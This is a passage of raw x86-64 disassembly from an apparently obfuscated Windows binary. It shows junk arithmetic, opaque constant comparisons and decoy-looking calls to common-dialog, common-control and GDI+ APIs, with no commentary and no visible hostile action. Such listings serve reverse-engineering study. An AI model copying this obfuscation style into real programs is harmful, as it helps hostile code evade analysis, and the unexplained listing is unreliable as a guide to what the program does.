mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
and eax, 0xd
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ad8]
sub eax, 0xe42cf768
mov dword [section..data], eax
mov rax, qword [rsp + 0x4cd8]
sar rax, 9
mov qword [rsp + 0x4cf0], rax
movsx eax, byte [rsp + 0x11b]
or eax, 0x34
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
shl eax, cl
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
xor eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
and eax, 0x11
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
sub eax, 0xaa
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [0x14016f150]
add eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ad8]
sub eax, 0xd840d4d5
mov dword [section..data], eax
movsx eax, byte [rsp + 0x11b]
add eax, 6
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x44
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
add eax, 0x13
mov byte [rsp + 0x11b], al
jmp 0x14000531e
mov rax, qword [rsp + 0x4cf0]
sar rax, 0x9a
cmp rax, qword [rsp + 0x4cd8]
jne 0x1400058a1
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa14], ax
jmp 0x1400059b3
movabs rax, 0x34784ee1367a2bfc
mov rcx, qword [rsp + 0x4cd8]
xor rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4cf0]
jne 0x1400059b3
mov rax, qword [rsp + 0x4cd8]
mov qword [rsp + 0x4d10], rax
movabs rax, 0x6f11f6b2ca9963bf
cmp qword [rsp + 0x4d10], rax
je 0x1400058f0
jmp 0x14000598f
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
or eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov r8w, 0xe7
mov rdx, qword [rsp + 0x4d18]
mov rcx, qword [rsp + 0x4d20]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14016f150], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
jmp 0x1400059b3
mov dword [rsp + 0x20], 0x68
mov r9d, 0x5b
mov r8d, 0x11
mov edx, 0x88
mov ecx, 0x66
call fcn.140154460
nop
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb88]
sub ecx, edx
cmp eax, ecx
jge 0x140005a2b
mov r9d, pe_nt_image_headers64
mov r8d, 0xcb
mov edx, 0x74
mov rcx, qword [rsp + 0x4d28]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x4d30], rax
mov eax, dword [section..data]
sub eax, 0x3b3b0c4a
mov dword [rsp + 0x2ad8], eax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x5e
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
mov qword [rsp + 0x4d38], rax
movabs rax, 0x294d96a10f715d
cmp qword [rsp + 0x4d38], rax
je 0x140005a6c
movabs rax, 0x5db497fbd6139d99
cmp qword [rsp + 0x4d38], rax
je 0x140005b82
jmp 0x140005bb5
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x2adc], al
cmp byte [rsp + 0x2adc], 0x1a
je 0x140005a94
cmp byte [rsp + 0x2adc], 0x68
je 0x140005aef
jmp 0x140005b80
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, word [rax]
mov word [rsp + 0xb88], ax
lea r8, [rsp + 0x20d80]
lea rdx, [rsp + 0x20de0]
lea rcx, [rsp + 0x11c]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x2ae0], eax
jmp 0x140005b80
mov eax, dword [rsp + 0x2ad8]
mov dword [rsp + 0x2ae4], eax
cmp dword [rsp + 0x2ae4], 0x7dda7659
je 0x140005b19
cmp dword [rsp + 0x2ae4], 0xb3fff16f
je 0x140005b6b
jmp 0x140005b80
movsx eax, byte [rsp + 0x11b]
add eax, 0x5c
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov r8d, 0xc6
mov rdx, qword [rsp + 0x4cf8]
mov rcx, qword [rsp + 0x4ce0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11c], al
jmp 0x140005b80
movsx eax, byte [rsp + 0x11b]
or eax, 0x14
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
jmp 0x140005bb5
mov rax, qword [rsp + 0x4cd0]
shl rax, 0x3c
mov qword [rsp + 0x4cd0], rax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ad8]
mov dword [rsp + 0x2ae8], eax
cmp dword [rsp + 0x2ae8], 0x188c8c35
je 0x140005d21
cmp dword [rsp + 0x2ae8], 0x6314cbb0
je 0x140005be6
jmp 0x140005dd5
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x4d40], rax
movabs rax, 0x68baad68c216dde
cmp qword [rsp + 0x4cd0], rax
je 0x140005d0c
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4d48], rax
movabs rax, 0xef3675f477c4d344
cmp qword [rsp + 0x4d48], rax
je 0x140005c37
jmp 0x140005cd4
movabs rax, 0x6b08948d7b6277a1
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
movabs rcx, 0x735eaea8b2680478
cmp rax, rcx
je 0x140005cd2
lea rax, [rsp + 0x11b]
mov qword [rsp + 0x4d50], rax
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0xb8c], ax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x4d58], rax
mov dword [rsp + 0x2aec], 0xe7df
lea rax, [rsp + 0x11b]
mov qword [rsp + 0x4d60], rax
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x4d68], rax
mov dword [rsp + 0x2af0], 0xda82
mov eax, dword [rsp + 0x2ad8]
mov dword [rsp + 0x2af4], eax
jmp 0x140005cf6
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov dword [rsp + 0x2af8], 0x8ff7
mov dword [rsp + 0x2afc], 0x237c
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x4d70], rax
jmp 0x140005dd5
movsx eax, word [rsp + 0xa14]
mov dword [rsp + 0x2b00], eax
cmp dword [rsp + 0x2b00], 0x323e
je 0x140005d3f
jmp 0x140005db8
lea rcx, [rsp + 0x20f60]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x4d78], rax
lea rcx, [rsp + 0x21650]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x2b04], eax
movabs rax, 0x4198a0657c667d5c
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov ecx, dword [rsp + 0x2ad8]
call fcn.140154a20
nop
jmp 0x140005dd5
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb80], ax
cmp dword [rsp + 0x2ab8], 0xe2cb
ja 0x1400061f5
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movabs rax, 0xf53a5863a0dc686
mov rcx, qword [rsp + 0x4cd0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x2ad8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ab8]
add eax, 0x9e
mov dword [rsp + 0x2ab8], eax
movzx eax, word [rsp + 0xb8c]
shl eax, 0xe
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, word [0x14016f150]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cf0], rax
mov eax, dword [section..data]
mov dword [rsp + 0x2ae0], eax
movabs rax, 0xbca7eabd351a70ef
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, word [0x14016f150]
movsx ecx, word [rsp + 0xb88]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, word [rax]
mov word [rsp + 0xb88], ax
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb88]
sub eax, ecx
mov word [0x14016f150], ax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4cd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [section..data]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4cf0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cd0]
shl rax, 3
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sar eax, cl
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
and eax, 0x863
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14016f150], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2ad8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4cf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
jmp 0x140005df2
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x4d80], rax
mov dword [rsp + 0x2b08], 0xb2f2
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x14016e004], al
mov dword [rsp + 0x2b0c], 0xfd94
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov byte [rsp + 0x2b10], al
cmp byte [rsp + 0x2b10], 0xc
je 0x140006267
jmp 0x140006292
mov r9d, 0xe2
mov r8d, 0xd8
mov edx, 0x3c
mov rcx, qword [rsp + 0x4d28]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x4d90], rax
jmp 0x140154313
mov dword [rsp + 0x2b14], 0x2a65fde4
cmp dword [rsp + 0x2af8], 0x9209
je 0x14000671b
movabs rax, 0x5f58e9ee53a1f023
mov rcx, qword [rsp + 0x4cd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4d70]
mov qword [rsp + 0x4d98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb84]
xor eax, 0xf63
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
shl eax, cl
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [0x14016e004]
and eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov eax, dword [rsp + 0x2af8]
add eax, 0x35
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b14]
add eax, 0xd62e1f2
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
movabs rax, 0xbd88ec6803886e5b
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [0x14016e004]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb80], ax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb88], ax
movsx eax, byte [0x14016e004]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2af4]
movzx ecx, al
mov eax, dword [rsp + 0x2ae0]
shr eax, cl
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b14]
and eax, 0x12e48a8f
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb88]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2ae0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
jmp 0x14000629d
movabs rax, 0xcac440b9fba192e3
mov rcx, qword [rsp + 0x4cd0]
imul rcx, rax
mov rax, rcx
movabs rcx, 0x3bdf4f703003c499
cmp rax, rcx
jbe 0x14015427b
lea rax, [rsp + 0x2b14]
mov qword [rsp + 0x4da0], rax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
cmp dword [rsp + 0x2ad0], 0x10c5e
jae 0x140006b09
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xa14]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movabs rax, 0xfe142d0b85d24ba5
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb88]
or eax, ecx
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4d70]
mov qword [rsp + 0x4da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4da8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movabs rax, 0x2128358eef7289c9
mov rcx, qword [rsp + 0x4cd0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ad8]
shr eax, cl
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movsx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa14], ax
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ad0]
add eax, 0x66
mov dword [rsp + 0x2ad0], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
sub eax, 0x6e7534aa
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
